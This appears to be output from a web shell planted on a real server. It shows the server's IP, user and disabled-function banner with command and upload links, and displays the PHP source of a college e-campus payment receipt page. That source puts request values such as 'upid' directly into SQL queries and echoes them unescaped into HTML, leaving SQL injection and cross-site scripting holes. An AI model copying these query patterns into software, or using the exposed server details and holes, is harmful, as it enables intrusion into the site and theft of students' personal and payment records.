|
Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/websites/vtti.e-campus.co.in/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include ("include/makeSession.php");
include('include/function.php');
include("include/header.php");
include("include/sidebar.php");
if(isset($_REQUEST['upid']) && $_REQUEST['upid']!=''){
$dovalue="PaySetInstallment";
$doid=$_REQUEST['upid'];
$upuserresult=mysqli_query($con,"select * from payinstallment where id='".$_REQUEST['upid']."'");
$upuserarr=mysqli_fetch_array($upuserresult);
$installment_id=mysqli_query($con,"select * from setinstallment where id='".$upuserarr['installment_id']."'");
$installment_id=mysqli_fetch_array($installment_id);
$upuserresult1=mysqli_query($con,"select * from admission_enquiry_form where student_id='".$installment_id['studentid']."'");
$upuserarr1=mysqli_fetch_array($upuserresult1);
}else{
$dovalue="StudentEnquiryEntry";
$doid='';
}
?>
<style>
table, th, td {
border: 1px solid black;
border-collapse: collapse;
}
th, td {
padding: 10px;
}
@page {
size: A4;
margin: 0;
}
@media print {
.page {
margin: 0;
border: initial;
border-radius: initial;
width: initial;
min-height: initial;
box-shadow: initial;
background: initial;
page-break-after: always;
}
}
</style>
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<h1> Payment Details <small></small> </h1>
<ol class="breadcrumb">
<li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
<li><a href="#">Payment Details</a></li>
</ol>
</section>
<!-- Main content -->
<section class="content">
<div class="row">
<div class="col-md-12">
<div class="box box-info">
<div class="box-header">
<h3 class="box-title">Payment details <small></small></h3>
<!-- tools box -->
<div class="pull-right box-tools">
<button class="btn btn-info btn-sm" data-widget="collapse" data-toggle="tooltip" title="Collapse"><i class="fa fa-minus"></i></button>
<button class="btn btn-info btn-sm" data-widget="remove" data-toggle="tooltip" title="Remove"><i class="fa fa-times"></i></button>
</div><!-- /. tools -->
</div><!-- /.box-header -->
<div class="box-body pad">
<div class="col-md-12">
<input type="hidden" name="do" value="<?php echo $dovalue;?>" />
<input type="hidden" name="doid1" value="<?php echo $doid;?>" />
<input type="hidden" name="UserID" value="<?php echo $_SESSION["ecomid"];?>" />
<!-- <div class="form-group col-md-4">
<h3> Student Id :
<?php //if(isset($_REQUEST['upid'])){ echo $installment_id['studentid']."</h3>";}?>
</div>
<div class="form-group col-md-4">
<h3> Name :
<?php //if(isset($_REQUEST['upid'])){ echo $upuserarr1['name']."</h3>";}?>
</div>
<div class="form-group col-md-4">
<h3>Installment Last Date :
<?php //if(isset($_REQUEST['upid'])){$newDate = date("m/d/Y", strtotime($installment_id['installmentdate']));
//echo $newDate."</h3>";}?>
</div>
<div class="form-group col-md-4">
<h3> Total Amount :
<?php //if(isset($_REQUEST['upid'])){ echo $upuserarr1['totalfee']."</h3>";}?>
</div>
<div class="form-group col-md-4">
<h3>Discount :
<?php //if(isset($_REQUEST['upid'])){ echo $upuserarr1['lessdiscount']."</h3>";}?>
</div>
<div class="form-group col-md-4">
<h3>Payment Date :
<?php //if(isset($_REQUEST['upid'])){ echo $upuserarr['payment_date']."</h3>";}?>
</div>
<div class="form-group col-md-4">
<h3>Fine :
<?php //if(isset($_REQUEST['upid'])){ echo $upuserarr['fine']."</h3>";}?>
</div>
<div class="form-group col-md-4">
<h3> Paid Amount :
<?php// if(isset($_REQUEST['upid'])){ echo $upuserarr['payment_amount']."</h3>";}?>
</div>
<div class="col-md-4"> <div class="form-group">
<h3>Payment Mode :
<?php //if(isset($_REQUEST['upid'])){ echo $upuserarr['payment_mode']."</h3>";} */ ?>
</div>
</div> -->
<?php
$mobile=$installment_id['studentid'];
if(!empty($mobile) || !empty($stu_id_or_mobile)){
$upuserresult1=mysqli_query($con,"select *,admission_enquiry_form.id as ids from admission_enquiry_form left join commenacademicyear on
admission_enquiry_form.academicyear=commenacademicyear.id
left join course on
admission_enquiry_form.course=course.id
left join student_subject on
admission_enquiry_form.subject=student_subject.SubjectID
where
admission_enquiry_form.mobileno='".$mobile."' or admission_enquiry_form.student_id='".$mobile."'" );
$upuserarr1=mysqli_fetch_array($upuserresult1);
?>
<?php
$collage=mysqli_query($con,"select * from collageinfo" );
$collage=mysqli_fetch_array($collage); ?>
<input type='button' id='btn' value='Print' class='btn btn-primary'>
<div class='col-md-12 fff' style=' height:1800px;' id='printarea'>
<div class='row'>
<div style=' height:200px; margin-top:10px;' width="100%" >
<div style="width:200px;float:left;">
<img src="images/uploads/<?php echo $collage['logo']; ?>" height="100" width="100"/>
</div>
<div style="width:1000px;text-align:center">
<h1><?php echo $collage['collagename']; ?></h1>
<h3 style='margin-top:-5px;'><?php echo $collage['collageaddr']; ?>
<br><?php echo $collage['collagephone']; ?><br>
<?php echo $collage['collageemail']; ?><br>
<b style='margin-top:13px;text-decoration: underline;margin-left:200px;' >INSTALLMENT PAYMENT MONEY RECEIPT
</b></h3>
</div>
</div>
<div style="width:1100px;">
<div style="width:350px;float:left;">
<b>Student Name :</b> <?php echo $upuserarr1['name']; ?> <br>
<b>Student Code :</b> <?php echo $upuserarr1['student_id']; ?> <br>
<b>Subject :</b> <?php echo $upuserarr1['SubjectName']; ?> <br>
</div>
<div style="width:350px;float:left;">
<b>Session :</b> <?php echo $upuserarr1['academictitle']; ?> <br>
<b>Mobile :</b> <?php echo $upuserarr1['mobileno']; ?> <br>
<b>Receipt No :</b> <?php echo $_REQUEST['upid']; ?> <br>
</div>
<div style="width:350px;float:left;">
<b>Schedule Date :</b> <?php $newDate = date("d/m/Y", strtotime($installment_id['installmentdate']));
echo $newDate; ?> <br>
<b>Payment Date :</b> <?php
$payment_date =date("d/m/Y", strtotime($upuserarr['payment_date']));
echo $payment_date; ?> <br>
<b>Fine Amount :</b> <?php echo $upuserarr['fine']; ?> <br>
<?php
$payment_amountd=mysqli_query($con,"select sum(fine) as fineamount from payinstallment where enquiry_id='".$upuserarr1['student_id']."' ");
$payment_amountdf=mysqli_fetch_array($payment_amountd);
?>
</div>
</div>
<table style="width:100%" style='margin-top:220px;' class='pull-right' border='1'>
<tr>
<th><b>Particulars</b></th>
<th><b>Amount</b></th>
</tr>
<tr>
<td>Total Course Fee</td>
<td><?php echo $upuserarr1['totalfee'].'.00'; ?></td>
</tr>
<tr>
<td>Amount Receive</td>
<td><?php echo $upuserarr['payment_amount'].'.00'; ?></td>
</tr>
<tr>
<td>Payment Mode</td>
<td><?php echo $upuserarr['payment_mode']; ?></td>
</tr>
<tr>
<td>Total Amount Paid Till Today</td>
<?php
//$totalfinewithdue=($payment_amountdf['fineamount']+$upuserarr1['dueamount']);
$original_due=((($upuserarr1['totalfee']- $upuserarr1['lessdiscount'])- $upuserarr1['submitfee'])- $upuserarr1['installmentamount']);
//$aftelesss = (($upuserarr1['totalfee']- $upuserarr1['lessdiscount']));
//$totalpaidd1 = (($upuserarr1['submitfee'])+ ($upuserarr1['installmentamount']) + ($upuserarr1['dueamount'])) ;
//$totallpaid2 = (($upuserarr1['submitfee'])+ $upuserarr1['gaveinstallment']);
if( floatval($original_due) == floatval($upuserarr1['dueamount']) ){
//$totalfinewithdue=((($upuserarr1['totalfee']- $upuserarr1['lessdiscount'])- $upuserarr1['submitfee']));
$totalfinewithdue=((($upuserarr1['totalfee']- $upuserarr1['lessdiscount'])- $upuserarr1['submitfee'])- $upuserarr1['installmentamount']);
}else{
//$totalfinewithdue=((($upuserarr1['totalfee']- $upuserarr1['lessdiscount'])- $upuserarr1['submitfee'])- $upuserarr1['installmentamount']);
$totalfinewithdue=((($upuserarr1['totalfee']- $upuserarr1['lessdiscount'])- $upuserarr1['submitfee'])- $upuserarr1['gaveinstallment']);
}
$amount1=mysqli_query($con,"select *,sum(payment_amount) as amount from payinstallment where enquiry_id='".$upuserarr1['student_id']."'" );
$amount1=mysqli_fetch_array($amount1); ?>
<td><?php echo $amount1['amount'].'.00'; ?></td>
</tr>
<tr>
<td><b>Total Due Amount </b></td>
<td><b><?php echo '₹'.$totalfinewithdue.'.00'; ?></b></td>
</tr>
<tr>
<td><b>Next Installment Date </b></td>
<td><b> <?php //$installment_id=mysqli_query($con,"select * from payinstallment where enquiry_id='".$upuserarr1['student_id']."' ORDER BY installmentdate asc" );
// $installment_id=mysqli_fetch_array($installment_id);
// print_r($installment_id['installmentdate']);
// $tallment_id=$installment_id['installment_id']-1;
// echo $tallment_id;
$setinstallmentk=mysqli_query($con,"select * from setinstallment where studentid='".$upuserarr1['student_id']."' ORDER BY id ASC" );
while($Row=mysqli_fetch_array($setinstallmentk)){
// print_r($Row['installmentdate']);
$payments_num=mysqli_query($con,"select * from payinstallment where installment_id='".$Row['id']."'" );
$numrows=mysqli_num_rows($payments_num);
if($numrows){
}else{
$next_payment_date =date("d/m/Y", strtotime($Row['installmentdate']));
echo $next_payment_date;
break;
}
}
//echo $setinstallment['installmentdate'];
?></b></td>
</tr>
</table>
<div class='col-md-12'>
<h3 style='margin-left:20px; '><b></b> <?php
$number = $upuserarr['payment_amount'].'.00';
$no = round($number);
$point = round($number - $no, 2) * 100;
$hundred = null;
$digits_1 = strlen($no);
$i = 0;
$str = array();
$words = array('0' => '', '1' => 'One', '2' => 'Two',
'3' => 'Three', '4' => 'Four', '5' => 'Five', '6' => 'Six',
'7' => 'Seven', '8' => 'Eight', '9' => 'Nine',
'10' => 'Ten', '11' => 'Eleven', '12' => 'Twelve',
'13' => 'Thirteen', '14' => 'Fourteen',
'15' => 'Fifteen', '16' => 'Sixteen', '17' => 'Seventeen',
'18' => 'Eighteen', '19' =>'Nineteen', '20' => 'Twenty',
'30' => 'Thirty', '40' => 'Forty', '50' => 'Fifty',
'60' => 'Sixty', '70' => 'Seventy',
'80' => 'Eighty', '90' => 'Ninety');
$digits = array('', 'Hundred', 'Thousand', 'Lakh', 'Crore');
while ($i < $digits_1) {
$divider = ($i == 2) ? 10 : 100;
$number = floor($no % $divider);
$no = floor($no / $divider);
$i += ($divider == 10) ? 1 : 2;
if ($number) {
$plural = (($counter = count($str)) && $number > 9) ? '' : null;
$hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
$str [] = ($number < 21) ? $words[$number] .
" " . $digits[$counter] . $plural . " " . $hundred
:
$words[floor($number / 10) * 10]
. " " . $words[$number % 10] . " "
. $digits[$counter] . $plural . " " . $hundred;
} else $str[] = null;
}
$str = array_reverse($str);
$result = implode('', $str);
$points = ($point) ?
"." . $words[$point / 10] . " " .
$words[$point = $point % 10] : '';
echo "<b>Rupees ".$result . "Only. </b>";
?></h3>
<h4 style='margin-top:10px; '>Student/Guardian's Signature
</br></br></br></br>
------------------------------------------
</h4>
</div>
<div style="margin-top:-50px; margin-bottom:30px">
<h3 class='pull-right' style="margin-top:-50px;">Course fee is NON REFUNDABLE at any circumtances <br><br><br><br><br>
<b >Authorised Signatory with Stamp</b>
</h3>
</div>
</br></br></br></br> </br></br></br></br>
<div class='col-md-12' style="margin-top:50px">
<!--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -->
</div>
</div>
<br><br><br><br>
<div style=' height:200px; margin-top:10px;' width="100%" >
<div style="width:200px;float:left;">
<img src="images/uploads/<?php echo $collage['logo']; ?>" height="100" width="100"/>
</div>
<div style="width:1000px;text-align:center">
<h1><?php echo $collage['collagename']; ?></h1>
<h3 style='margin-top:-5px;'><?php echo $collage['collageaddr']; ?>
<br><?php echo $collage['collagephone']; ?><br>
<?php echo $collage['collageemail']; ?><br>
<b style='margin-top:13px;text-decoration: underline;margin-left:200px;' >INSTALLMENT PAYMENT MONEY RECEIPT
</b></h3>
</div>
</div>
<div style="width:1100px;">
<div style="width:350px;float:left;">
<b>Student Name :</b> <?php echo $upuserarr1['name']; ?> <br>
<b>Student Code :</b> <?php echo $upuserarr1['student_id']; ?> <br>
<b>Subject :</b> <?php echo $upuserarr1['SubjectName']; ?> <br>
</div>
<div style="width:350px;float:left;">
<b>Session :</b> <?php echo $upuserarr1['academictitle']; ?> <br>
<b>Mobile :</b> <?php echo $upuserarr1['mobileno']; ?> <br>
<b>Receipt No :</b> <?php echo $_REQUEST['upid']; ?> <br>
</div>
<div style="width:350px;float:left;">
<b>Schedule Date :</b> <?php $newDate = date("d/m/Y", strtotime($installment_id['installmentdate']));
echo $newDate; ?> <br>
<b>Payment Date :</b> <?php
$payment_date =date("d/m/Y", strtotime($upuserarr['payment_date']));
echo $payment_date; ?> <br>
<b>Fine Amount :</b> <?php echo $upuserarr['fine']; ?> <br>
</div>
</div>
<table style="width:100%" style='margin-top:220px;' class='pull-right' border='1'>
<tr>
<th><b>Particulars</b></th>
<th><b>Amount</b></th>
</tr>
<tr>
<td>Total Course Fee</td>
<td><?php echo $upuserarr1['totalfee'].'.00'; ?></td>
</tr>
<tr>
<td>Amount Receive</td>
<td><?php echo $upuserarr['payment_amount'].'.00'; ?></td>
</tr>
<tr>
<td>Payment Mode</td>
<td><?php echo $upuserarr['payment_mode']; ?></td>
</tr>
<tr>
<td>Total Amount Paid Till Today</td>
<?php $amount1=mysqli_query($con,"select *,sum(payment_amount) as amount from payinstallment where enquiry_id='".$upuserarr1['student_id']."'" );
$amount1=mysqli_fetch_array($amount1); ?>
<td><?php echo $amount1['amount'].'.00'; ?></td>
</tr>
<tr>
<td><b>Total Due Amount </b></td>
<td><b><?php echo '₹'.$totalfinewithdue.'.00'; ?></b></td>
</tr>
<tr>
<td><b>Next Installment Date </b></td>
<td><b> <?php //$installment_id=mysqli_query($con,"select * from payinstallment where enquiry_id='".$upuserarr1['student_id']."' ORDER BY installmentdate asc" );
// $installment_id=mysqli_fetch_array($installment_id);
// print_r($installment_id['installmentdate']);
// $tallment_id=$installment_id['installment_id']-1;
// echo $tallment_id;
$setinstallmentk=mysqli_query($con,"select * from setinstallment where studentid='".$upuserarr1['student_id']."' ORDER BY id ASC" );
while($Row=mysqli_fetch_array($setinstallmentk)){
// print_r($Row['installmentdate']);
$payments_num=mysqli_query($con,"select * from payinstallment where installment_id='".$Row['id']."'" );
$numrows=mysqli_num_rows($payments_num);
if($numrows){
}else{
$next_payment_date =date("d/m/Y", strtotime($Row['installmentdate']));
echo $next_payment_date;
break;
}
}
//echo $setinstallment['installmentdate'];
?></b></td>
</tr>
</table>
<div class='col-md-12'>
<h3 style='margin-left:20px; '><b></b> <?php
$number = $upuserarr['payment_amount'].'.00';
$no = round($number);
$point = round($number - $no, 2) * 100;
$hundred = null;
$digits_1 = strlen($no);
$i = 0;
$str = array();
$words = array('0' => '', '1' => 'One', '2' => 'Two',
'3' => 'Three', '4' => 'Four', '5' => 'Five', '6' => 'Six',
'7' => 'Seven', '8' => 'Eight', '9' => 'Nine',
'10' => 'Ten', '11' => 'Eleven', '12' => 'Twelve',
'13' => 'Thirteen', '14' => 'Fourteen',
'15' => 'Fifteen', '16' => 'Sixteen', '17' => 'Seventeen',
'18' => 'Eighteen', '19' =>'Nineteen', '20' => 'Twenty',
'30' => 'Thirty', '40' => 'Forty', '50' => 'Fifty',
'60' => 'Sixty', '70' => 'Seventy',
'80' => 'Eighty', '90' => 'Ninety');
$digits = array('', 'Hundred', 'Thousand', 'Lakh', 'Crore');
while ($i < $digits_1) {
$divider = ($i == 2) ? 10 : 100;
$number = floor($no % $divider);
$no = floor($no / $divider);
$i += ($divider == 10) ? 1 : 2;
if ($number) {
$plural = (($counter = count($str)) && $number > 9) ? '' : null;
$hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
$str [] = ($number < 21) ? $words[$number] .
" " . $digits[$counter] . $plural . " " . $hundred
:
$words[floor($number / 10) * 10]
. " " . $words[$number % 10] . " "
. $digits[$counter] . $plural . " " . $hundred;
} else $str[] = null;
}
$str = array_reverse($str);
$result = implode('', $str);
$points = ($point) ?
"." . $words[$point / 10] . " " .
$words[$point = $point % 10] : '';
echo "<b>Rupees ".$result . "Only. </b>";
?></h3>
<h4 style='margin-top:10px; '>Student/Guardian's Signature
</br></br></br></br>
------------------------------------------
</h4>
</div>
<div class='col-md-12' style="margin-top:-50px">
<h3 class='pull-right'>Course fee is NON REFUNDABLE at any circumtances <br><br><br><br><br>
<b>Authorised Signatory with Stamp</b>
</h3>
</div>
</div>
</div>
<?php } ?>
</div>
</div>
</div><!-- /.box -->
</div><!-- /.col-->
</div><!-- ./row -->
</section><!-- /.content -->
</div>
<?php include('include/footer.php');?>
<script src='https://cdnjs.cloudflare.com/ajax/libs/PrintArea/2.4.1/jquery.PrintArea.min.js'></script>
<script>
$(document).ready(function() {
$("#btn").click(function(){
var mode = 'iframe'; //popup
var close = mode == "popup";
var options = { mode : mode, popClose : close};
$("#printarea").printArea( options );
});
});
</script>